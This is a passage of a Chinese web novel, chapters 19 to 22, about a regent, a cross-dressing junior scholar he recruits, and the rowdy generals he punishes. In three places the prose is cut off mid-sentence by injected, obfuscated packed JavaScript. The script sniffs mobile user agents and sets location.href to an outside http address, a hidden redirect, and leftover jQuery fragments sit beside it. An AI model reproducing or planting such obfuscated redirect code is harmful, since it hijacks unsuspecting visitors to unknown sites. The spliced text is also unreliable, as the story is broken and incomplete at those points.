“太妃娘娘。”刘顺在太妃两字上加重语气,嘴角拉出个皮笑肉不笑的模样来,“殿下公务繁忙,不方便见娘娘。上书房这里人来人往的,奴才想,云太妃娘娘这般金尊玉贵的人,应也不好一直在这耗着吧。” 一个耗字,于对方来说算是极尽羞辱。 云太妃却也忍下了,今时地位不同往日,对此认知她再清楚不过。只是美眸里闪过幽芒,今日之羞辱,她记下了。 不过从这刘顺的强硬态度里,她不难看出那位待她之绝情。没过也没甚关系,统共今日她会达成一个目的。 “还请大监替我向殿下转问一句,昔日于昭阳宫中,允我的承诺可还作数?” 刘顺回殿禀完后,就一直低垂着头。 姬寅礼拿绢帕用力擦拭着矢身,眼眸未抬,“她有何要求?” “云太妃娘娘说,她不愿随其他先皇妃嫔一道入慈宁宫,还想继续住在咸福宫。”刘顺的双手垂得更低,“还说,若殿下不允,那就赐她下去见元妃娘娘。” 姬寅礼将手里箭矢随手投掷而出,接过湿帕擦手。 “允了。去告诉她,昔日承诺还余最后一个,望她万万想好才是。” 19.第 19 章 趋近夏至,夜里也愈发闷热起来。 临窗坐于案前,陈今昭左手扇着蒲扇,右手翻阅着沈砚给她的心得笔记,偶尔有所领悟,就提笔写写记记。 今个天也是怪热的很,外头一丝风都不见,饶是她拿着蒲扇使劲的扇,可依旧驱不散值房内的燥热。她有心想将槅扇窗上挂着的窗纱取下好歹透口气,可转念又怕外头飞来的蚊虫叮咬,着实是进退两难。 这般又捱了会,她实在是热得再坐不住了。 不由抬眼透过窗纱望望外头天色,此时夜色浓郁已过了子时,想来都这个时辰了,上头应不会有什么公务再加派过来罢。 这般想着,她干脆脱了外头的青罩衫,后又觉得不解热,索性将外面的官服一并解了下来,搭在案前的红木椅背上。 如此方长吐口热气,觉得凉快了稍许。 这暑热的天来值夜宿,真是要人命了。 这会满面热汗的很是难受,她抬手随意擦把濡湿的鬓角,挽了中衣袖口就来到角落的盆架前,俯身捧起盆里清水扑在面上。 姬寅礼掀开竹帘抬腿进来时,也没想到抬眼瞬间见到的是这样一幕。 但见几步远处的角落里,那一身素色细棉中衣的探花郎,正微仰着脸细细擦拭着颈间的水渍。被水打湿的鬓角尚有水珠滴落,清透的水滴缓缓滑过白璧似的面庞,顺着颈侧没入被水洇湿的白色领口。 从他的视角看过去,只觉那张被水浸透的脸庞,好似蒙了层烟雨细雾,有种说不出的清润。 陈今昭听见听到门口动静,不由回眸看过去,而后近乎堵在房门口的那抹朱色身影,就那般猝不及防的映入她眼帘。 短暂的惊愕过后,她当即大惊失色! 手忙脚乱的把湿帕扔回架上,她仓促整理两下衣服,甚至来不及完全将袖口放下,就疾步匆匆赶的赶紧上前躬身施礼:“见过摄政王千岁,微臣王驾前失仪,望殿下恕罪。” “小事而已,不必诚惶诚恐。” 姬寅礼抬手扶住,掌心处的触感清凉微软,尚残余些濡湿。他稍顿两息,便松开对方的手,抬步朝临窗的方向走去。 “今个怎么又轮到你值宿?可是替旁人值的?” 翰林院素来是储才养望之所,今夜闲来无事游逛至此,他也是想过来看看,那翰林院除那三杰之外,再还有没有其他良枝可以扶持。哪成想过来一瞧,竟又是那探花郎在值宿。 算下来,距离上次他过来碰见对方,也不过间隔七八日罢。这探花郎值宿的频率未免也高了些。 陈今昭忐忑的趋步跟上前,闻言就回道:“并非是替他人值宿,是翰林院人手紧张的缘故。” 此刻她心下忐忑难安,一方面是因着实不明那摄政王殿下为何又突然莅临,很是担心是不是又有何重担要交付与她,另一方面则是因她此刻仪容不整,虽对方嘴上说是小事,但她实在害怕回头就接到敕诏,继而再次连累到沈砚与鹿衡玉,同遭一顿劈头盖脸的训斥。 姬寅礼没什么意味的笑了下,也没继续这个话题。 公孙桓见临窗案前的那把椅子上搭了官袍,遂从旁处又搬了把红木交椅过来,搁置在原先那把椅子的左侧方位。 陈今昭自也瞧见了这一幕,不由又窘又无措,一时间竟不知她此刻,是当着摄政王的面手忙脚乱的套穿着官服好,还是干脆就硬着头皮继续当做无事发生好。 姬寅礼抚袍落座,抬手示意,“你也过来坐。” 陈今昭挪动着步子近前,几番纠结之下到底没忍住去捞她搭在椅背上的官服,立于对方面前窘迫道,“微臣失仪,容臣下先整顿仪容,再于千岁面前承训。” 说着抱起官袍,就要往值房的里间去。 姬寅礼直接握住她腕骨,温和却不失力道的将人拉到身侧交椅上坐下。拍拍她的微凉濡湿的手背,安抚了声,“值房闷热难耐,你若不更衣取凉,怕就要糟了暑热。因而固有失仪,本王亦能体谅一二。” 他随即看向旁侧的公孙桓,“文佑,吩咐人去搬座冰鉴过来。再者另立条新规,凡酷暑时节翰林院值宿人员,额外赏冰一块。” 公孙桓应下,片刻不耽误的出殿吩咐下去。 一块冰约莫一尺见方,一夜用下来绰绰有余。 陈今昭闻之大喜,赶紧起身谢过:“微臣替翰林院诸位同僚谢过殿下恩典。” 姬寅礼笑着抬手压下,示意她坐。随目朝案桌上一扫,见案面上摆放的借鉴籍册以及读书笔记,不由颔首,“你最近的赋文大有进益,看来是下苦功夫的。” “微臣不敢居功,全赖千岁殿下的殷殷教诲以及翰林院沈修撰、鹿编修的诸多提点相助。” 他从案上籍册随便拿过一本翻阅,陈今昭就小声解释说这是沈修撰予她参考用的行文心得。 姬寅礼颔首不语,陈今昭遂也不再多言。 接下来不大的值房内寂了下来,只余书页不时的翻动声。 陈今昭保持端坐的姿势,垂着眼眸尽量让视线落在自己那放在双膝的手背上,而非几乎要碰上她腿边的那金线勾勒蟒纹的朱红袍摆。 她悄无声息的将腿往后缩了缩,偏对方此时毫无所觉的仰靠于椅背,姿态愈发放松。 他本就是膝盖微屈的随意叉腿坐着,姿势稍有放松,蟒袍下的长腿不自觉的前伸稍许。加之两人座椅相隔过近,但凡稍有动作,两人的腿就不可避免的碰触一块。 感受着透过几层布料传递过来的温烫热度,陈今昭一时间僵直在那,避也不敢避,动也不敢动,当真是度秒如年。 “本王当真如斯可怕?” 突兀的低哑嗓音打破了室内的寂静,陈今昭一惊后,忙回:“殿下恕罪,是微臣微末小官,直面王驾难免露怯。” 姬寅礼合上籍册,微挑了凤眸,凝视她额上细汗。 “养气功夫若是欠缺,不妨学学那公孙桓,回头多抄上几遍《金刚经》。” 公孙桓正好此刻指挥人抬冰鉴进来,闻言就笑着接了句:“刚好似听殿下提到了桓,似还有褒奖之意,不知桓可有听差?” “你这双千里耳,何曾有听错的时候?我正让那探花郎多学学你,颐神养性。也省得每回见我如面猛禽,踧踖不安之态,当真看得我眼疼。” 陈今昭猛地要起身请罪,却被对方按坐下。 公孙桓见此笑道:“殿下王仪天成,谁人见了能不敬呢?” 陈今昭闻弦知雅意,当即就拱手强自镇定道:“微臣并非惧王驾之威势,而是敬殿下之王仪。” 姬寅礼似笑非笑看她一眼,摆摆手:“罢了,吾非是怪罪。” 搁下手里籍册,俯身拿起那沓字迹清隽的笔记,边翻阅边颔首,“能看出来,你是肯下苦功夫的。如此甚好。” “得殿下训勉,微臣不敢有一时懈怠,唯恐辜负殿下厚望。” 这时,已经来到摄政王身后的公孙桓适时出声:“陈探花能明白殿下厚望就成。官员三年期满,就要依政绩考评决定升降去留,陈探花两年考评如何,想必在下不说您也清楚。若再无寸功,待到今年年岁,探花郎怕少不得要被贬谪出京了。千岁殿下不忍良才流落,这方特意交代让探花郎接手祭祀赋文之事,以此让年底考评中留下寸许之功。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15340567|166202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 捋着下颌胡须,他看向对面人,语气意味深长,“就算届时有所提拔,也是有功可依,同时亦能堵了悠悠众人之口。殿下爱之心切,责之方重,如此良苦用心,还望陈探花莫要误解才是。” 一段话,陈今昭听得汗流浃背。 她的政治觉悟并非那般迟钝,早在之前就隐隐有些疑惑与猜测,毕竟摄国治政的上位者,屈尊降贵的注意一个小编修的文章,这事本身就不寻常。所谓尊者俯就,必有所求,他那般行事怕是隐有要用她之意。 如今得到证实,她不觉激动,只觉惶恐。若她是男子,那她倒是可以试着拼搏一把,毕竟如今局势已渐渐明朗,浑然不似八王那会的胡乱,所以就算对方想任用她来做急先锋,她亦可以拼一场富贵前程。但……她并非男子啊。 站得越高,投在她身上的目光就越多,届时她的秘密暴露的就会越快。真到那时,她是个什么下场,以及她一家子有个什么下场,已不言而喻。 所以从入官场的那日起,她就只求能平平稳稳的度过这三年,待到任期结束。到时候她无论是调离京都去外地赴任,还是罢官归乡,于她而言都将是不错的选择。 她从来求的是“稳”,如今被人逼“进”,如何能不慌? 室内一时寂了下来,鸦雀无声。 公孙桓瞧这情形不好,暗吸口凉气,这个探花郎莫非亦如外面愚人般是个榆木脑袋,听信庸人蠢蟲之言,觉得殿下暴虐不仁并非明主? 他想开口为殿下辩解两句,却被殿下抬手制住。 姬寅礼的目光从那紧扣在双膝的苍白细指上移开,极缓的移上那张被细汗濡湿,却依旧难掩清隽的面容,“不想为本王效力?是有顾虑,还是有其他缘故?” 陈今昭后背绷得僵直,唇瓣嗫嚅了几番,方强抑颤音的吐了句:“微臣入朝两年毫无建树,何德何能,得千岁看重……” 他就那般看着她,双眸如渊似海,似包罗万象,又似世间万物在他面前皆无所遁形。 她在那样的一双眸子的注视下,自动息音。 姬寅礼缓慢转着拇指上的墨玉扳指,无声将面前人打量了几个来回,双眸深邃如墨,不辨情绪。 就在这无声的压力就要将对面人压垮之时,他的目光不期落到了那身半旧的官服上。搭在椅背上的那身半旧官服不知何时滑落了下来,垂在半空,翻出里面层叠交织的补丁。 官服缝缝补补,都缝在里侧,外面看不出痕迹,里面却补丁交织。 入目的刹那,他眉间冗杂的一些情绪散了。 于这一瞬间,他对面前之人,不由顿生怜爱。尤其是视线扫过对方细骨伶仃的腕骨、清癯单薄的身子,那股怜惜之心就愈重了半分。 轻微叹口气,姬寅礼拍拍她瘦弱的肩,“既然家中清贫,何不和光同尘,收些炭火孝敬。” 陈今昭实话实话:“其实微臣也并非众人想得那般清高自傲,不染纤尘,之所以不收炭火孝敬,实因家世低微且于京中并无跟脚。而京中官场局势又错综复杂,微臣实不敢冒然收受这些孝敬,唯恐稀里糊涂的就被站了队,当了人家的马前卒。微臣死不足惜,但家中老小不能无依。” “所谓君子不党。不立崖异,不树异帜,无论你出发点是何,能做到守住本心就很不易,翰林院少有你这般的清风正骨。” 姬寅礼面带欣赏的看她,这一刻对她再无芥蒂,“放心,我非是拉你入党争,非是让你冲锋陷阵。为朝廷百姓做事,你也不愿?” 陈今昭知道此回断不能拒了,遂只能起身拱手而拜, “固所愿也,不敢请耳。” 20.第 20 章 在陈今昭等人掰着手指头熬日子中,终于他们总算熬走了艰辛的六月,迎来了崭新的七月。 摄政王赦免他们惩戒的诏令如约而至,同时而至的竟还有盛满三个荷包的金瓜子。 “五日后我于清风楼设宴,沈兄鹿兄千万要赏光前来啊。” 下值后,陈今昭满面是笑的向左右两位发出邀请。 左右二人收拾东西的间隙,各自抬手应了句,“一定。” 陈今昭问沈砚:“不知沈兄可有忌口之物?” 沈砚摆手示意没有,又道:“客随主便,你安排便是。” 离开翰林院,三人同往宫外走去。无事一身轻,今日终于得以卸下重担的他们心情格外放松,一路上闲话家常几句,氛围很是轻松。 直待他们远远瞧见了正浩荡过来的一群武将。 这群武将们倒是未着铠甲,只腰间挎着刀剑,扯着大嗓门你说我笑的往这边宫道上走。瞧这方向,应是要去往上书房。 陈今昭三人沉默下来,气氛不复刚才的轻松。 沈砚低语道:“莫要搭理这群浑人。” 鹿衡玉面露担忧:“就怕这群丘八们无事生事。” 陈今昭心中亦有此担忧,唯恐这群骄兵悍将们寻隙滋事。 近来京中风气多有不对,隐有文武官员对立之兆。尤其是以西凉军为首的西北兵士们,更是居功自傲,尤其看不上他们这些京中官员,每每遇见就少不得上前奚落几番。 听说前几日有礼部官员不堪忍受上前理论,双方你来我往吵过几轮后,不知怎的后来竟动起了手来。结果显而易见,那礼部官员被打得鼻青脸肿,至今都在家卧床养伤,没法出来见人。 此事带来的风波也不小,礼部上下官员联名上书,要求严惩那个打人的武官。甚至还有廷臣上书奏请,西凉军骄横跋扈,野性难驯,长久滞留京中会给京中治安带来隐患,望摄政王下令让西凉军开拔重回西北。 具体处置结果上头尚未下达,所以此事后续是个什么章程,谁也不知。但不影响京中朝官们对那群兵士们观感极差。 眼见那群膀大腰圆的军士们,就要大摇大摆的迎面过来,陈今昭三人自发的朝旁侧避了避,朝宫外走的脚步也加快了些。 这群丘八,他们惹不起,还躲不起吗。 “嘿,快看!” 正低头快走的三人,冷不丁听见那群军士中有人不怀好意的吆喝了声,顿时面色齐齐一变,心下皆有了不妙的预感。 果不其然!下一刻那群军士就喧哗了起来。 “是那三杰!” “快看呐,三杰来了!” “是吗?在哪,在哪?” “都过来看,就是他三!” 陈今昭三人脸色都不好看,尤其眼见那群人竟停下不走了,就立于他们前方不远处叉腰朝他们这里直瞅,各个或稀奇或惊叹宛如打量何等稀罕之物,心中不由更是生恼。 “无需理会,吾等快走。” 沈砚面色冰冷,拂袖快步走前一步,陈今昭与鹿衡玉紧随其后。 在他们打那群军士们身旁路过时,耳边如同炸开了锅似的,只觉各种惊叹声议论声嘈杂成一片,嗡嗡的全都冲他们耳朵里冲来—— “真俊呐!” “瞧那脸蛋,比婆娘都白!” “难怪人家都说京中都是娇老爷,瞧那小模样小身板,可不娇滴滴嘛!” “哈哈哈,要我说啊,长成这样算什么男人啊!” “就是,底下那……”说这话的那名武将可能这会突然反应过来,后面的话不好在大庭广众下嚷嚷出来,就压低了声,蒲扇的大手搭嘴边对左右人窃语,“那二两肉还有没有用,都难说。” 他自觉是在窃窃私语,殊不知他那天生的大嗓门,就算是压低了来说,在旁人听来也似个大喇叭在呱呱直嚷。 那群人哄笑了起来,陈今昭等人脸色铁青。 眼见着沈砚的脚步将要顿住,陈今昭一惊,唯恐他被激怒下也如那礼部官员般上前理论、进而落个相同下场,遂眼疾手快的拉过他继续往前疾走。 “玉石不与瓦砾相碰。咱别理他们,赶紧出宫回家要紧。” 这时那群武官里又传来了哄笑声。 陈今昭等人余光扫去,但见个魁梧的虎将正挤眉弄眼的示意旁人看他,然后他就做出左手拎一个,右手拽一个的动作。 看到这里,陈今昭脸黑了,鹿衡玉脸也黑了。 此人不是旁人,正是那日宣治殿里先给他俩送热汤的虎将。当时他俩瞧这虎将还算好,认为是个有些同理心的汉子,可今个看他怎这般混蛋。 “瞪什么眼,小白脸!”有武将见鹿衡玉气愤的瞪眼看过去,就呼喝着指着他大骂了句。 其他武将寻衅找茬惯了,闻言更是纷纷响应,直眉瞪眼的朝前一步,刷的下将挎刀抽开半寸。 “小白脸你看什么看!再看就挖下你眼珠子信不信!” 陈今昭唯恐鹿衡玉硬碰硬,赶紧转身又去拉他。 有武将又在哄笑,“看见没有,旁边那个小白脸怕了。” “看见了,他脸更白,怕不是吓得罢? “嘿,那肯定是!大伙怕是忘了,京都乃温柔富贵之乡,不见兵戈久已,可非咱那虏贼横行的西北荒凉之地,日夜刀里来血里去没个停歇时候。这里的官老爷们都娇养的细皮嫩肉,不似咱们糙皮厚肉,他们可是半分经不得吓!” “可不是,咱们弟兄们连刀都没抽出来,京都的老爷们就被惊得两股战战,吓得腿软了,简直要把我眼泪都给笑出来!” “行了行了,别吓他们了,要是将娇老爷们吓得哭爹喊娘,回头让人又参咱们一本,那咱们罪过就大啦——” 刻意拖长的语调无不讽刺,武官们的哄笑声愈盛。 三人的脸色已经很难看了,偏那群人还变本加厉起来。 “嘿,你们说这三娘娘腔哪个最俊?” “我听人说,是那叫榜眼的,长得最像婆娘。” “哪个?哪个是那榜眼?” “那个,看见没有,长得比春香阁的头牌还带劲那个!” 陈今昭面色骤变,慌忙去看鹿衡玉,果然见他脸色青白,双手握拳浑身发抖。 眼见下一刻他就要握拳冲上去了,陈今昭忙快他一步挡他身前,怒气冲天的环视那群武官们,切齿怒笑。 “常将冷眼观螃蟹!呵!”一群愚蠢的丘八莽夫! 她用力抓过鹿衡玉的胳膊,连拖带拽的强行将他拉走,“理他们作甚!日后走着看便是,我们走!” 武官中出现了好几息的安静。 直待他们目送着三人经过、走远,方有人悄悄挪到那最前方的虎将面前,小声问:“参领,螃蟹是什么?” 那虎将皱眉问旁边人:“章武,你知道吗?” 名叫章武的武将想了好生一会,皱眉:“不知道。” 那虎将简直要骂娘了,不知道你还想那般久。 这时候有人小声说,螃蟹在清风楼有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15349093|166202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卖的,是种吃食,还挺贵。 虎将挠挠头,不明白那小白脸说那话是啥意思。总不能是骂他能吃罢?还吃的挺贵? “一会去问问公孙先生。”章武说,“公孙先生博学,肯定知道小白脸说的什么。” 虎将点头:“这就问问去。要是小白脸敢骂的难听,仔细我去揍他!” 上书房内,公孙桓将整理完的折子堆放好,端起茶碗喝口温茶润润嗓,缓解下这一整日的疲累。 这会宫监过来禀说,阿塔海与章武那些将领们已经到了殿前,公孙桓就按着殿下吩咐,让人叫他们先进殿候着。 那虎将,也就是阿塔海,见摄政王殿下不在,一进殿就脚步哐哐的直奔向公孙桓所在方向。 公孙桓早就习惯了对方那横冲直撞的莽撞模样,见此眉头都未抬,只顾悠闲地的喝着茶水,静等对方开口。 “公孙先生,正巧我有件事要寻问你!” “是何事啊?” “刚才有人对我好像是说了句诗,可好像也不是。”阿塔海用力挠挠头,困惑又烦躁,“先生你帮我听听,他是不是骂我。” 公孙桓听此也毫不意外,这段时日这阿塔海没少带人寻衅滋事,被人骂是常有的事。不过这场闹剧也将到收尾的时候了,殿下近日应就会有所动作,那群暗中挑拨生事的蠹虫就自求多福罢。 目光隐晦的扫过这群趾高气昂的莽夫们,暗叹,这群呆徒莽汉啊,怕还不知自个好日子快到头了。据他们这段时日上蹿下跳的程度来看,到时候,少不得要被殿下扒层皮下来。 “他说……那个,公孙先生你知道螃蟹吗?” 公孙桓嫌他啰嗦,皱眉喝了口茶,就说:“你直接说那诗。” 阿塔海哦了声,张了嘴又闭上,拧眉想了好半会,直急得旁边的章武忍不住插话:“你一边去,一句话都记不好!先生,那小白脸说,‘冷眼看你是螃蟹’!你说他是不是骂人?” 噗!公孙桓一口茶没咽下直接喷了出来。 阿塔海一拍脑门,这回终于想起来了。 “错了,是‘常看你俩是螃蟹’!” 茶水呛到肺管子里,公孙桓咳得满脸通紫,阿塔海赶忙过去拍他的背,蒲扇般的大手拍的轰轰直响。 “行了行了……”公孙桓忙不迭挥手令他快起开,再拍下去,肺管子都能让他拍出来。 抚胸缓了好一会,他才没好气斜他俩一眼。 “人家怕说的是,‘常将冷眼观螃蟹’罢。”公孙桓冷笑扫他二人一眼,“后头还有一句,看你横行到几时!这句总该懂了吧?” 阿塔海呔了声,虎目圆睁:“该死的小白脸,竟然敢诅咒我!看我不去劈了他!”说着就吆喝着人要去寻人的晦气。 公孙桓也不急,因为自有人提醒那阿塔海,还没拜见殿下呢。 阿塔海叉腰忍怒,磨牙切齿:“等回头就要他好看!” 怒喘两口粗气,他又看向坐那悠悠摇扇的公孙桓,“要我说,当初就不该留京中这群高高在上的官老爷!咱辛苦打下的江山,凭甚让他们在那享清福?还各个眼睛长脑门上,看不起咱,还拽问说诗的骂些咱听不懂的话!所以还不如统统宰干净算了,省得让咱白白受那鸟气!” 公孙桓眼见对方越说越过火,脸色一变,要知道殿下可此时正在隔壁的净房更衣。他给对方急打眼色,欲要对方能明白一二补救一番,但这会却已经来不及了。 屏风后传来了抚掌声,“好汉子,今日始知你竟如此能干。” 21.第 21 章 殿内空寂刹那,响起齐刷刷叩膝抱拳声。 “末将等参见殿下!” 姬寅礼用巾帕擦拭着双手,不紧不慢的绕过屏风踱步出来,笑语,“都是铁骨铮铮的好汉子啊!快都起来,本王还要指望尔等冲锋陷阵,为吾力斩群臣呢。” 听到前半句,武官们还兀自欣喜,可听到后半句,就都有那么些迟疑了。这话听似是好话,但又好似何处不对。 本来正要起身的他们一时间就僵杵在那,半跪不跪半起不起的,众武官们你悄悄瞄眼我,我偷偷瞅下你,不知是要起还是要跪。 随手将擦完的巾帕扔于托盘,姬寅礼缓步从高台走下。刘顺躬身擎着红木托盘,悄步无声的随在身后。 “快起,莫要折尔等悍将的威风。”姬寅礼上前,一手一个,亲扶起阿塔海与章武,满是激赏的看着二人,“纵观朝野上下,还最数你二人深得吾心。阿塔海说得对极,满朝的京官皆是尸位素餐之辈,留他们作甚?合该杀了、杀尽,杀他个片甲不留!尔等保下的皇都,岂能任由贵老爷们享受,简直是岂有此理,看着就来气!” 阿塔海也不知为何,这话听得他是激动又害怕。明明此刻他该高兴的嚷嚷应和两声的,毕竟他就是这般想的啊,可此刻的嗓子眼像是夹了块火炭,烫嘴似的支吾不出半个字来。 姬寅礼鼓噪二人:“既然尔等有如此雄心,吾为主公岂有不成全之理?这样,一会我就下个诏令,擢你二人为急先锋,率领这满殿的威武汉子,直接就杀去那些京官府邸!切记,莫要漏过一人,务必要从街头杀到巷尾,从西街杀到东街,就连南北巷里那三俩杂鱼也别放过,必要杀他个天昏地暗,鸡犬不留!” 拍拍二人的臂膀,姬寅礼说的狠辣,“犁庭扫穴,尔等不陌生罢?就按那标准来,斩其根,撅其苗,势必要将他们斩尽杀绝,一扫无遗。” 八尺的汉子听这话脚底都软了,再傻也知这绝不是好话。 阿塔海与章武噗通就要跪下,却被对方强行拉了起来。 其他武将们都缩着肩膀不敢吭声,此刻恨不能将脑袋一并按缩到脖子里,让人瞧不见才好。 “慌什么,这是好事,没了那群京官老爷,正好腾出位子给你们上位,也算成全尔等一番上进之心。是大好事,快都抬起头来,莫让人笑话。”姬寅礼轻责了声,转身就吩咐公孙桓,“收拾几张案桌出来,把堆积的那些个折子都挨个摆上去,另外也多拿几套文房四宝来,人数多,少了别不够分。” 众武官们目光惶惶的看着那公孙先生对着他们数人头,而后指挥宫人们从殿外抬来了一张张桌椅,捧来一沓沓纸还有毛笔、砚台,而后挨个放在每张桌面上。一个也不落下。 姬寅礼满目欣慰的环视众武官,“爱将们有上进之心,着实令吾心甚慰。来,都过来坐,日后没了那些碍眼的京官们,他们的位子可不就都由你们来坐?来,爱将们都过来,先提前适应一番。” 阿塔海他们虽还没完全反应过来,但一颗心已经先一步突突狂跳。在眼见阿塔海与章武被殿下拉着强行按坐在案前时,隐约意识到什么的其他武官们,脚底都不由得往后在挪。 “念尔等初临职事,今夜吾也不委以繁务,就且整理折子罢。”姬寅礼抬抬手,公孙桓就搬了两沓折子,各搬至两人案前,“将此些折子按轻重缓急先整理出来,每张折子需另外清晰列出条陈,不得有所疏漏。待吾批阅完,尔等还要送此些折子去往六科廊坊抄录一份……唔,瞧我给忘了,六科廊坊马上就要没了。” 稍一沉吟,他拍拍二人的虎背,鼓励道,“能者多劳,这活你们便也顶上。今夜就且做这些罢,待明早卯时前,这些公务当归整以呈,不得延误。” 望着案上高高摞起的折子,阿塔海脚底都在打晃。 “殿下我、末将……末将还是想带兵打仗……” “那哪成,你们都去带兵打仗了,朝廷的这些公务谁干?”姬寅礼屈指轻点下那些折子,抬了眼皮笑看二人,“以后,在外领兵作战就由乌木他们去。内政方面,还是要仰靠尔等,毕竟他们太没志气,不敢挑衅文臣也不敢打文臣脸,连杀光文臣自个来顶上的想法都不敢有,着实让我看不上。” 阿塔海等人此刻张大了嘴,糙砂般的脸膛紫红的滴血,又冒汗,焦急如焚的想跟殿下说不是这样的,他们不想杀光文臣不想自个顶上,可各个笨嘴拙舌的,直咽唾沫也愣是憋不出句完整话来。 眼见着他们殿下话毕后,就径直抚袖转身离开,众武官们急得满头热汗,想追又不敢追的巴望着对方背影,各个都急出了颤音。 “殿下……” “殿下……” “殿下……” 在即将踏出殿门时,姬寅礼脚步停了下,转过脸环视众武官,“再次提醒一番,明日卯时之前,尔等需将公务按时呈交,不得疏漏,不得延误。” 微顿,他道:“此为军令。” 语罢,抬步离开,背影消失在众人视线中。 殿内的众武官如坠冰窖。 都是行伍出身,没人比他们更懂军令二字的分量。 军令如山。军令两字一出,便意味着,今夜让他们处理这些公务的话,并非殿下随口的一句玩笑,而是他们不可违抗的命令。 他们僵硬的扭动脖子,看向那一列列书案上高高摞起的折子,还有那一沓沓的空白宣纸。想到今夜就要按照殿下的要求,将这些折子整理归类、列出条陈还要誊抄记录,想到要在那一沓沓的空白宣纸上写满了字,再想到大字不识一箩筐的自己……一时间不由都脚底发软,两眼发黑。 武官们求救似的望向公孙桓,阿塔海八尺高的汉子都快哭了出来,“公孙先生,您帮咱们求求殿下罢,咱们以后不针对那些个京老爷们还不成吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15352857|166202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 公孙桓恨铁不成钢的冷扫他一眼,“我看你还是不知错在哪!阿塔海,能不能用你那榆木脑袋想一想,你与那些京官有什么怨什么仇,他们碍着你什么了,怎么你就非得针对他们?” 阿塔海张嘴还想辩两句,公孙桓抬手制止懒得听他说那些蠢话。 “阿塔海还有章武,我不说旁的,就说你们二人也算是跟着殿下最早的那批老人了,乌木、魏光还是晚些年才投奔过来。可观后来呢,人家两人早已为帅做将,可以各自统御一方兵马外出作战,现今更是分别为提督与校尉,统管京中禁军或兵马。再反观你们!” 公孙桓重重叹口气,“十年了,你们做了十年先锋官。现在入了京,还是做的前锋参领。阿塔海,章武,你们能说是殿下不重用你二人?是殿下没扶过吗?是扶不起来啊!” “你们作战是勇猛,但无谋,这让殿下如何敢用尔等为将?让你们读书,都不肯,让你们识字,却都宁愿去挨军棍。自个不上进,还指望旁人硬扶?” “瞅瞅你们干的这些糊涂事!旁人几句话的功夫,就能挑唆的你俩上蹿下跳,就这样还想将文臣取而代之?你们的脑子玩得转?平日里还总看不上乌木,瞧不上魏光的,你看人家可有被人撺掇两句,就上杆子做那急先锋去挑衅京官、殴打文臣?” 公孙桓见两人低着头羞愧难当的模样,缓了口语气,“我知你们心中一直憋着气,不忿乌木他们后来居上,官职远超于你们。但这决不能是尔等做旁人手里刀的原因!扪心自问,殿下待你们如何?每年四时八节分下的赏赐,哪年殿下不从自己的私驽里额外分出份拨予你俩?粮草、兵器,哪回不是紧着你们先来?甚至怕你俩口无遮拦乱得罪人,殿下私下还特意嘱咐乌木他们,说你们向来性情直,但有口无心,希望他们能多包涵些莫要多与你俩计较。殿下如斯关照,你们还待如何?” 阿塔海与章武听得眼泪都要下来了。 “咱们不是对殿下的安排不满,咱们只是……” 公孙桓摆手,“你们的后路殿下早有安排,按照军功来算,是足膺封爵了。”说着,环视其他屏息静听的武官们,“尔等也是一样,殿下赏罚分明,只要军功足够,该是你们的,自不会少你们半分。当然,若要在官职上再进一步……那就先努力将字认全了再说。” 阿塔海狠擦把眼,冲殿外方向跪地抱拳,“愿为殿下效死!” 章武等人也齐齐跪地抱拳:“愿为殿下效死!” 公孙桓慢悠悠喝口凉透的茶,说道:“距离卯时不足五个时辰了,要是不想违抗军令,各位还是赶紧点忙起来罢。” 一句话,让阿塔海等人的表情齐齐裂开。 武官们挪动僵硬的大腿,各自择案落座,翻开本折子后,皆是如出一辙的呆滞表情。 密密麻麻的方块字,它们不认识他们,他们也不认识它们。 22.第 22 章 今早的宣治殿前广场鸦雀无声,只有一声又一声军棍击肉的沉闷声响,自跸道上方的殿门前传来,重重砸在阖朝百官耳中。 殿门前,二三十个军汉赤裸上身,正排成两列遭受棍刑。即便高阶下的廷臣们隔得有些远,但那行刑之人挥舞军棍的力道、以及那些军汉们后背鲜血飞溅的场景,还是能让人看得一清二楚。 全程没有惨叫声与痛呼声,只有声声入耳的军棍杖打声,可正因如此,反而却更令人心惊胆裂。 昨日还趾高气昂的军汉们,转眼就得此下场,陈今昭并不感到幸灾乐祸,只觉后背阵阵发凉。 刚才宫监宣读的那数条罪状中,其中一条便是未按时完成摄政王千岁指派下的公务,虽他们挨这几十棍刑是数罪并罚的结果,但单单这一条就足矣吓得她魂飞魄散了。 若是她当初所做赋文始终不能令那摄政王满意,是不是今日,她也要步这些军汉们的后尘?光是想想,都要不寒而栗。 沈砚与鹿衡玉显然也想到了这层,后背都起了层白毛汗。 这些还都是那位殿下的老部下,犯了错也是照样挨打,换作旁人又怎敢奢望其手下留情? 